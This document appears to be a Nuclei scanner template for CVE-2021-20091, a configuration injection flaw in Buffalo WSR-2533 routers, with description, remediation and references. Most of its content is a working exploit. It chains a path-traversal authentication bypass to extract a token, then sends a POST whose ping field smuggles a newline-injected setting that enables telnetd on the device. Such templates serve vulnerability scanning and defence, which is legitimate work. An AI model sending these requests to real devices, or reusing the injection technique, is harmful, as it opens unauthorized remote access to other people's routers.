63 lines
2.4 KiB
YAML
63 lines
2.4 KiB
YAML
id: CVE-2021-20091
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info:
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name: Buffalo WSR-2533DHPL2 - Configuration File Injection
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author: gy741,pdteam,parth
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severity: high
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description: |
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The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 does not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially leading to remote code execution.
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remediation: |
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Apply the latest firmware update provided by Buffalo to fix the configuration file injection vulnerability.
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reference:
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- https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild
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- https://www.tenable.com/security/research/tra-2021-13
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- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20091
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2021-20091
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epss-score: 0.00928
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epss-percentile: 0.81206
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cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: buffalo
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product: wsr-2533dhpl2-bk_firmware
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tags: cve,cve2021,buffalo,firmware,iot,tenable
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http:
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- raw:
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- |
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GET /images/..%2finfo.html HTTP/1.1
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Host: {{Hostname}}
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Referer: {{BaseURL}}/info.html
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- |
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POST /images/..%2fapply_abstract.cgi HTTP/1.1
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Host: {{Hostname}}
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Referer: {{BaseURL}}/info.html
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Content-Type: application/x-www-form-urlencoded
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action=start_ping&httoken={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}}&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "/Success.htm"
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- type: status
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status:
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- 302
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extractors:
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- type: regex
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name: httoken
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group: 1
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regex:
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- 'base64\,(.*?)" border='
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internal: true
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# digest: 490a0046304402202cb6e85d447898a9825db609088284530c609a0ed89e8901cc4787aa921c32e8022050a4effe94740f0d86e90d2a411e619ee5388d638fabeb5193b2c41463f3b1ed:922c64590222798bb761d5b6d8e72950
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